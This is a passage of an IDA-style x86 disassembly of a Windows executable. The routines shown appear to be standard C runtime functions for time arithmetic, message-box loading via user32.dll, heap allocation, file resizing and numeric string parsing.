mov ds:dword_42DB3C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov ds:dword_42DB38, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov ds:dword_42DB40, eax
jmp short loc_41C738
; ---------------------------------------------------------------------------
loc_41C6E3: ; CODE XREF: sub_41C5FC+BAj
mov eax, [ebp+arg_1C]
mov ds:dword_42DB4C, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, ds:dword_42DAA8
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov ds:dword_42DB50, eax
jns short loc_41C71B
add eax, 5265C00h
dec ecx
mov ds:dword_42DB50, eax
jmp short loc_41C72C
; ---------------------------------------------------------------------------
loc_41C71B: ; CODE XREF: sub_41C5FC+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_41C732
sub eax, edx
inc ecx
mov ds:dword_42DB50, eax
loc_41C72C: ; CODE XREF: sub_41C5FC+11Dj
mov ds:dword_42DB4C, ecx
loc_41C732: ; CODE XREF: sub_41C5FC+126j
mov ds:dword_42DB48, ebx
loc_41C738: ; CODE XREF: sub_41C5FC+E5j
pop esi
pop ebx
pop ebp
retn
sub_41C5FC endp
; =============== S U B R O U T I N E =======================================
sub_41C73C proc near ; CODE XREF: sub_41A852+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_41C74D
add esp, 0Ch
retn
sub_41C73C endp
; =============== S U B R O U T I N E =======================================
sub_41C74D proc near ; CODE XREF: sub_41C73C+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test ds:byte_45FD41[eax], cl
jnz short loc_41C77A
cmp [esp+arg_4], 0
jz short loc_41C773
movzx eax, ds:word_42D0FA[eax*2]
and eax, [esp+arg_4]
jmp short loc_41C775
; ---------------------------------------------------------------------------
loc_41C773: ; CODE XREF: sub_41C74D+16j
xor eax, eax
loc_41C775: ; CODE XREF: sub_41C74D+24j
test eax, eax
jnz short loc_41C77A
retn
; ---------------------------------------------------------------------------
loc_41C77A: ; CODE XREF: sub_41C74D+Fj
; sub_41C74D+2Aj
push 1
pop eax
retn
sub_41C74D endp
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp ds:dword_45EAC4, ebx
push esi
push edi
jnz short loc_41C7CD
push offset aUser32_dll ; "user32.dll"
call ds:dword_41F0AC ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_41C803
mov esi, ds:dword_41F0B0
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; dword_41F0B0
test eax, eax
mov ds:dword_45EAC4, eax
jz short loc_41C803
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; dword_41F0B0
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov ds:dword_45EAC8, eax
call esi ; dword_41F0B0
mov ds:dword_45EACC, eax
loc_41C7CD: ; CODE XREF: seg000:0041C789j
mov eax, ds:dword_45EAC8
test eax, eax
jz short loc_41C7EC
call eax ; dword_45EAC8
mov ebx, eax
test ebx, ebx
jz short loc_41C7EC
mov eax, ds:dword_45EACC
test eax, eax
jz short loc_41C7EC
push ebx
call eax ; dword_45EACC
mov ebx, eax
loc_41C7EC: ; CODE XREF: seg000:0041C7D4j
; seg000:0041C7DCj ...
push dword ptr [esp+18h]
push dword ptr [esp+18h]
push dword ptr [esp+18h]
push ebx
call ds:dword_45EAC4
loc_41C7FF: ; CODE XREF: seg000:0041C805j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C803: ; CODE XREF: seg000:0041C79Aj
; seg000:0041C7B1j
xor eax, eax
jmp short loc_41C7FF
; =============== S U B R O U T I N E =======================================
sub_41C807 proc near ; CODE XREF: sub_41B166+22p
; sub_41B166+3Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
imul esi, [esp+0Ch+arg_4]
cmp esi, 0FFFFFFE0h
mov ebx, esi
ja short loc_41C827
test esi, esi
jnz short loc_41C821
push 1
pop esi
loc_41C821: ; CODE XREF: sub_41C807+15j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41C827: ; CODE XREF: sub_41C807+11j
; sub_41C807+65j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_41C858
cmp ebx, ds:dword_42D30C
ja short loc_41C843
push ebx
call sub_416EE3
mov edi, eax
pop ecx
test edi, edi
jnz short loc_41C86E
loc_41C843: ; CODE XREF: sub_41C807+2Dj
push esi
push 8
push ds:dword_45FE60
call ds:dword_41F140 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_41C87A
loc_41C858: ; CODE XREF: sub_41C807+25j
cmp ds:dword_45E864, 0
jz short loc_41C87A
push esi
call sub_416AF8
test eax, eax
pop ecx
jz short loc_41C880
jmp short loc_41C827
; ---------------------------------------------------------------------------
loc_41C86E: ; CODE XREF: sub_41C807+3Aj
push ebx
push 0
push edi
call sub_413630
add esp, 0Ch
loc_41C87A: ; CODE XREF: sub_41C807+4Fj
; sub_41C807+58j
mov eax, edi
loc_41C87C: ; CODE XREF: sub_41C807+7Bj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C880: ; CODE XREF: sub_41C807+63j
xor eax, eax
jmp short loc_41C87C
sub_41C807 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41B20B
loc_41C884: ; CODE XREF: sub_41B20B+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp ds:dword_45FB00, esi
jle short loc_41C8D7
loc_41C893: ; CODE XREF: sub_41B20B+16CAj
mov eax, ds:dword_45EAF0
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41C8CE
test byte ptr [eax+0Ch], 83h
jz short loc_41C8B2
push eax
call sub_413C00
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41C8B2
inc edi
loc_41C8B2: ; CODE XREF: sub_41B20B+1698j
; sub_41B20B+16A4j
cmp esi, 14h
jl short loc_41C8CE
mov eax, ds:dword_45EAF0
push dword ptr [eax+esi*4]
call sub_413ED3
mov eax, ds:dword_45EAF0
pop ecx
and dword ptr [eax+esi*4], 0
loc_41C8CE: ; CODE XREF: sub_41B20B+1692j
; sub_41B20B+16AAj
inc esi
cmp esi, ds:dword_45FB00
jl short loc_41C893
loc_41C8D7: ; CODE XREF: sub_41B20B+1686j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_41B20B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C8DC proc near ; CODE XREF: sub_41B5EA+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_413E30
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, ds:dword_45FC20
jnb loc_41CA11
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_45FB20[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_41CA11
push 1
push esi
push ebx
call sub_419C0F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_41CA1B
push 2
push esi
push ebx
call sub_419C0F
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41CA1B
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_41C9BE
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_413630
push 8000h
push ebx
call sub_41D516
add esp, 14h
mov [ebp+arg_4], eax
loc_41C972: ; CODE XREF: sub_41C8DC+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_41C97D
mov eax, edi
loc_41C97D: ; CODE XREF: sub_41C8DC+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_41A4BA
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_41C99B
sub edi, eax
test edi, edi
jle short loc_41C9B1
jmp short loc_41C972
; ---------------------------------------------------------------------------
loc_41C99B: ; CODE XREF: sub_41C8DC+B5j
cmp ds:dword_45E808, 5
jnz short loc_41C9AE
mov ds:dword_45E804, 0Dh
loc_41C9AE: ; CODE XREF: sub_41C8DC+C6j
or esi, 0FFFFFFFFh
loc_41C9B1: ; CODE XREF: sub_41C8DC+BBj
push [ebp+arg_4]
push ebx
call sub_41D516
pop ecx
pop ecx
jmp short loc_41C9FE
; ---------------------------------------------------------------------------
loc_41C9BE: ; CODE XREF: sub_41C8DC+71j
jge short loc_41C9FE
push 0
push [ebp+arg_4]
push ebx
call sub_419C0F
push ebx
call sub_41B556
add esp, 10h
push eax
call near ptr 0A70000h
dec ecx
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_41C9FE
mov ds:dword_45E804, 0Dh
call ds:dword_41F068 ; RtlGetLastWin32Error
mov ds:dword_45E808, eax
loc_41C9FE: ; CODE XREF: sub_41C8DC+E0j
; sub_41C8DC:loc_41C9BEj ...
push 0
push [ebp+arg_0]
push ebx
call sub_419C0F
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_41CA1E
; ---------------------------------------------------------------------------
loc_41CA11: ; CODE XREF: sub_41C8DC+1Aj
; sub_41C8DC+36j
mov ds:dword_45E804, 9
loc_41CA1B: ; CODE XREF: sub_41C8DC+4Ej
; sub_41C8DC+63j
or eax, 0FFFFFFFFh
loc_41CA1E: ; CODE XREF: sub_41C8DC+133j
pop esi
pop ebx
leave
retn
sub_41C8DC endp
; =============== S U B R O U T I N E =======================================
sub_41CA22 proc near ; CODE XREF: sub_41BA55+2Bp
; sub_41BA55+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_41CA38
cmp ecx, esi
jnb short loc_41CA3B
loc_41CA38: ; CODE XREF: sub_41CA22+10j
push 1
pop eax
loc_41CA3B: ; CODE XREF: sub_41CA22+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_41CA22 endp
; =============== S U B R O U T I N E =======================================
sub_41CA43 proc near ; CODE XREF: sub_41CAFC+40p
; sub_41CAFC+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_41CA22
add esp, 0Ch
test eax, eax
jz short loc_41CA75
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_41CA22
add esp, 0Ch
test eax, eax
jz short loc_41CA75
inc dword ptr [esi+8]
loc_41CA75: ; CODE XREF: sub_41CA43+19j
; sub_41CA43+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_41CA22
add esp, 0Ch
test eax, eax
jz short loc_41CA8D
inc dword ptr [esi+8]
loc_41CA8D: ; CODE XREF: sub_41CA43+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_41CA22
add esp, 0Ch
pop edi
pop esi
retn
sub_41CA43 endp
; =============== S U B R O U T I N E =======================================
sub_41CAA1 proc near ; CODE XREF: sub_41CAFC+30p
; sub_41CAFC+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_41CAA1 endp
; =============== S U B R O U T I N E =======================================
sub_41CACF proc near ; CODE XREF: sub_41D094+1C8p
; sub_41D58C+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_41CACF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAFC proc near ; CODE XREF: sub_41CBC3+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_41CB70
push edi
mov [ebp+arg_8], eax
loc_41CB23: ; CODE XREF: sub_41CAFC+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_41CAA1
push ebx
call sub_41CAA1
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41CA43
push ebx
call sub_41CAA1
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_41CA43
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_41CB23
xor edx, edx
pop edi
loc_41CB70: ; CODE XREF: sub_41CAFC+21j
; sub_41CAFC+9Fj
cmp [ebx+8], edx
jnz short loc_41CB9D
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_41CB70
; ---------------------------------------------------------------------------
loc_41CB9D: ; CODE XREF: sub_41CAFC+77j
mov esi, 8000h
loc_41CBA2: ; CODE XREF: sub_41CAFC+B9j
test [ebx+8], esi
jnz short loc_41CBB7
push ebx
call sub_41CAA1
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_41CBA2
; ---------------------------------------------------------------------------
loc_41CBB7: ; CODE XREF: sub_41CAFC+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_41CAFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CBC3 proc near ; CODE XREF: sub_41BD9E+17p
; sub_41BDCB+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_41CBFE: ; CODE XREF: sub_41CBC3+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_41CC14
cmp cl, 9
jz short loc_41CC14
cmp cl, 0Ah
jz short loc_41CC14
cmp cl, 0Dh
jnz short loc_41CC17
loc_41CC14: ; CODE XREF: sub_41CBC3+40j
; sub_41CBC3+45j ...
inc edi
jmp short loc_41CBFE
; ---------------------------------------------------------------------------
loc_41CC17: ; CODE XREF: sub_41CBC3+4Fj
push 4
pop esi
loc_41CC1A: ; CODE XREF: sub_41CBC3+AEj
; sub_41CBC3+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_41CE9D ; default
; jumptable 0041CC26 case 10
jmp ds:off_41D064[eax*4] ; switch jump
loc_41CC2D: ; DATA XREF: seg000:off_41D064o
cmp bl, 31h ; jumptable 0041CC26 case 0
jl short loc_41CC3E
cmp bl, 39h
jg short loc_41CC3E
loc_41CC37: ; CODE XREF: sub_41CBC3+C4j
; sub_41CBC3+118j
push 3
jmp loc_41CE5B
; ---------------------------------------------------------------------------
loc_41CC3E: ; CODE XREF: sub_41CBC3+6Dj
; sub_41CBC3+72j
cmp bl, ds:byte_42D300
jnz short loc_41CC4D
loc_41CC46: ; CODE XREF: sub_41CBC3+124j
push 5
jmp loc_41CE93
; ---------------------------------------------------------------------------
loc_41CC4D: ; CODE XREF: sub_41CBC3+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_41CC73
dec eax
dec eax
jz short loc_41CC67
sub eax, 3
jnz loc_41CF36
jmp loc_41CCF6
; ---------------------------------------------------------------------------
loc_41CC67: ; CODE XREF: sub_41CBC3+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_41CC1A
; ---------------------------------------------------------------------------
loc_41CC73: ; CODE XREF: sub_41CBC3+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_41CC1A
; ---------------------------------------------------------------------------
loc_41CC7C: ; CODE XREF: sub_41CBC3+63j
; DATA XREF: seg000:off_41D064o
cmp bl, 31h ; jumptable 0041CC26 case 1
mov [ebp+var_10], edx
jl short loc_41CC89
cmp bl, 39h
jle short loc_41CC37
loc_41CC89: ; CODE XREF: sub_41CBC3+BFj
cmp bl, ds:byte_42D300
jz loc_41CD51
cmp bl, 2Bh
jz short loc_41CCCB
cmp bl, 2Dh
jz short loc_41CCCB
cmp bl, 30h
jz short loc_41CCF6
loc_41CCA4: ; CODE XREF: sub_41CBC3+207j
cmp bl, 43h
jle loc_41CF36
cmp bl, 45h
jle short loc_41CCC4
cmp bl, 63h
jle loc_41CF36
cmp bl, 65h
jg loc_41CF36
loc_41CCC4: ; CODE XREF: sub_41CBC3+EDj
push 6
jmp loc_41CE93
; ---------------------------------------------------------------------------
loc_41CCCB: ; CODE XREF: sub_41CBC3+D5j
; sub_41CBC3+DAj ...
dec edi
push 0Bh
jmp loc_41CE93
; ---------------------------------------------------------------------------
loc_41CCD3: ; CODE XREF: sub_41CBC3+63j
; DATA XREF: seg000:off_41D064o
cmp bl, 31h ; jumptable 0041CC26 case 2
jl short loc_41CCE1
cmp bl, 39h
jle loc_41CC37
loc_41CCE1: ; CODE XREF: sub_41CBC3+113j
cmp bl, ds:byte_42D300
jz loc_41CC46
cmp bl, 30h
jnz loc_41CEAB
loc_41CCF6: ; CODE XREF: sub_41CBC3+9Fj
; sub_41CBC3+DFj
mov eax, edx
jmp loc_41CC1A
; ---------------------------------------------------------------------------
loc_41CCFD: ; CODE XREF: sub_41CBC3+63j
; DATA XREF: seg000:off_41D064o
mov [ebp+var_10], edx ; jumptable 0041CC26 case 3
loc_41CD00: ; CODE XREF: sub_41CBC3+184j
cmp ds:dword_42D2FC, edx
jle short loc_41CD19
movzx eax, bl
push esi
push eax
call sub_4165E6
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41CD27
; ---------------------------------------------------------------------------
loc_41CD19: ; CODE XREF: sub_41CBC3+143j
mov ecx, ds:off_42D0F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41CD27: ; CODE XREF: sub_41CBC3+154j
test eax, eax
jz short loc_41CD49
cmp [ebp+var_4], 19h
jnb short loc_41CD41
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_41CD44
; ---------------------------------------------------------------------------
loc_41CD41: ; CODE XREF: sub_41CBC3+16Cj
inc [ebp+var_8]
loc_41CD44: ; CODE XREF: sub_41CBC3+17Cj
mov bl, [edi]
inc edi
jmp short loc_41CD00
; ---------------------------------------------------------------------------
loc_41CD49: ; CODE XREF: sub_41CBC3+166j
cmp bl, ds:byte_42D300
jnz short loc_41CDB8
loc_41CD51: ; CODE XREF: sub_41CBC3+CCj
mov eax, esi
jmp loc_41CC1A
; ---------------------------------------------------------------------------
loc_41CD58: ; CODE XREF: sub_41CBC3+63j
; DATA XREF: seg000:off_41D064o
cmp [ebp+var_4], 0 ; jumptable 0041CC26 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_41CD71
loc_41CD64: ; CODE XREF: sub_41CBC3+1ACj
cmp bl, 30h
jnz short loc_41CD71
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_41CD64
; ---------------------------------------------------------------------------
loc_41CD71: ; CODE XREF: sub_41CBC3+19Fj
; sub_41CBC3+1A4j ...
cmp ds:dword_42D2FC, edx
jle short loc_41CD8A
movzx eax, bl
push esi
push eax
call sub_4165E6
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41CD98
; ---------------------------------------------------------------------------
loc_41CD8A: ; CODE XREF: sub_41CBC3+1B4j
mov ecx, ds:off_42D0F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41CD98: ; CODE XREF: sub_41CBC3+1C5j
test eax, eax
jz short loc_41CDB8
cmp [ebp+var_4], 19h
jnb short loc_41CDB3
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_41CDB3: ; CODE XREF: sub_41CBC3+1DDj
mov bl, [edi]
inc edi
jmp short loc_41CD71
; ---------------------------------------------------------------------------
loc_41CDB8: ; CODE XREF: sub_41CBC3+18Cj
; sub_41CBC3+1D7j
cmp bl, 2Bh
jz loc_41CCCB
cmp bl, 2Dh
jz loc_41CCCB
jmp loc_41CCA4
; ---------------------------------------------------------------------------
loc_41CDCF: ; CODE XREF: sub_41CBC3+63j
; DATA XREF: seg000:off_41D064o
cmp ds:dword_42D2FC, edx ; jumptable 0041CC26 case 5
mov [ebp+var_24], edx
jle short loc_41CDEB
movzx eax, bl
push esi
push eax
call sub_4165E6
pop ecx
pop ecx
push 1
pop edx
jmp short loc_41CDF9
; ---------------------------------------------------------------------------
loc_41CDEB: ; CODE XREF: sub_41CBC3+215j
mov ecx, ds:off_42D0F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_41CDF9: ; CODE XREF: sub_41CBC3+226j
test eax, eax
jz loc_41CEAB
mov eax, esi
jmp short loc_41CE5C
; ---------------------------------------------------------------------------
loc_41CE05: ; CODE XREF: sub_41CBC3+63j
; DATA XREF: seg000:off_41D064o
lea ecx, [edi-2] ; jumptable 0041CC26 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_41CE15
cmp bl, 39h
jle short loc_41CE59
loc_41CE15: ; CODE XREF: sub_41CBC3+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_41CE91
dec eax
dec eax
jz short loc_41CE85
sub eax, 3
jnz loc_41CF39
loc_41CE2A: ; CODE XREF: sub_41CBC3+2A4j
push 8
jmp short loc_41CE93
; ---------------------------------------------------------------------------
loc_41CE2E: ; CODE XREF: sub_41CBC3+63j
; DATA XREF: seg000:off_41D064o
mov [ebp+var_20], edx ; jumptable 0041CC26 case 8
loc_41CE31: ; CODE XREF: sub_41CBC3+276j
cmp bl, 30h
jnz short loc_41CE3B
mov bl, [edi]
inc edi
jmp short loc_41CE31
; ---------------------------------------------------------------------------
loc_41CE3B: ; CODE XREF: sub_41CBC3+271j
cmp bl, 31h
jl loc_41CF36
cmp bl, 39h
jg loc_41CF36
jmp short loc_41CE59
; ---------------------------------------------------------------------------
loc_41CE4F: ; CODE XREF: sub_41CBC3+63j
; DATA XREF: seg000:off_41D064o
cmp bl, 31h ; jumptable 0041CC26 case 7
jl short loc_41CE62
cmp bl, 39h
jg short loc_41CE62
loc_41CE59: ; CODE XREF: sub_41CBC3+250j
; sub_41CBC3+28Aj
push 9
loc_41CE5B: ; CODE XREF: sub_41CBC3+76j
pop eax
loc_41CE5C: ; CODE XREF: sub_41CBC3+240j
dec edi
jmp loc_41CC1A
; ---------------------------------------------------------------------------
loc_41CE62: ; CODE XREF: sub_41CBC3+28Fj
; sub_41CBC3+294j
cmp bl, 30h
jnz short loc_41CEAB
jmp short loc_41CE2A
; ---------------------------------------------------------------------------
loc_41CE69: ; CODE XREF: sub_41CBC3+63j
; DATA XREF: seg000:off_41D064o
cmp [ebp+arg_18], 0 ; jumptable 0041CC26 case 11
jz short loc_41CE99
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_41CE91
dec eax
dec eax
jnz loc_41CF39
loc_41CE85: ; CODE XREF: sub_41CBC3+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_41CC1A
; ---------------------------------------------------------------------------
loc_41CE91: ; CODE XREF: sub_41CBC3+258j
; sub_41CBC3+2B8j
push 7
loc_41CE93: ; CODE XREF: sub_41CBC3+85j
; sub_41CBC3+103j ...
pop eax
jmp loc_41CC1A
; ---------------------------------------------------------------------------
loc_41CE99: ; CODE XREF: sub_41CBC3+2AAj
push 0Ah
dec edi
pop eax
loc_41CE9D: ; CODE XREF: sub_41CBC3+5Dj
; sub_41CBC3+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0041CC26 case 10
jz loc_41CF3B
jmp loc_41CC1A
; ---------------------------------------------------------------------------
loc_41CEAB: ; CODE XREF: sub_41CBC3+12Dj
; sub_41CBC3+238j ...
mov edi, [ebp+arg_8]
jmp loc_41CF3B
; ---------------------------------------------------------------------------
loc_41CEB3: ; CODE XREF: sub_41CBC3+63j
; DATA XREF: seg000:off_41D064o
mov [ebp+var_20], 1 ; jumptable 0041CC26 case 9
xor esi, esi
loc_41CEBC: ; CODE XREF: sub_41CBC3+339j
cmp ds:dword_42D2FC, 1
jle short loc_41CED4
movzx eax, bl
push 4
push eax
call sub_4165E6
pop ecx
pop ecx
jmp short loc_41CEE3
; ---------------------------------------------------------------------------
loc_41CED4: ; CODE XREF: sub_41CBC3+300j
mov ecx, ds:off_42D0F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41CEE3: ; CODE XREF: sub_41CBC3+30Fj
test eax, eax
jz short loc_41CF03
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_41CEFE
mov bl, [edi]
inc edi
jmp short loc_41CEBC
; ---------------------------------------------------------------------------
loc_41CEFE: ; CODE XREF: sub_41CBC3+334j
mov esi, 1451h
loc_41CF03: ; CODE XREF: sub_41CBC3+322j
mov [ebp+var_1C], esi
loc_41CF06: ; CODE XREF: sub_41CBC3+371j
cmp ds:dword_42D2FC, 1
jle short loc_41CF1E
movzx eax, bl
push 4
push eax
call sub_4165E6
pop ecx
pop ecx
jmp short loc_41CF2D
; ---------------------------------------------------------------------------
loc_41CF1E: ; CODE XREF: sub_41CBC3+34Aj
mov ecx, ds:off_42D0F0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41CF2D: ; CODE XREF: sub_41CBC3+359j
test eax, eax
jz short loc_41CF36
mov bl, [edi]
inc edi
jmp short loc_41CF06
; ---------------------------------------------------------------------------
loc_41CF36: ; CODE XREF: sub_41CBC3+99j
; sub_41CBC3+E4j ...
dec edi
jmp short loc_41CF3B
; ---------------------------------------------------------------------------
loc_41CF39: ; CODE XREF: sub_41CBC3+261j
; sub_41CBC3+2BCj
mov edi, ecx
loc_41CF3B: ; CODE XREF: sub_41CBC3+2DDj
; sub_41CBC3+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_41D023
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_41CF67
cmp [ebp+var_45], 5
jl short loc_41CF5B
inc [ebp+var_45]
loc_41CF5B: ; CODE XREF: sub_41CBC3+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_41CF6A
; ---------------------------------------------------------------------------
loc_41CF67: ; CODE XREF: sub_41CBC3+38Dj
mov eax, [ebp+var_C]
loc_41CF6A: ; CODE XREF: sub_41CBC3+3A2j
cmp [ebp+var_4], 0
jbe loc_41D019
loc_41CF74: ; CODE XREF: sub_41CBC3+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_41CF82
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_41CF74
; ---------------------------------------------------------------------------
loc_41CF82: ; CODE XREF: sub_41CBC3+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_41CAFC
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_41CFA1
neg eax
loc_41CFA1: ; CODE XREF: sub_41CBC3+3DAj
add eax, [ebp+var_8]
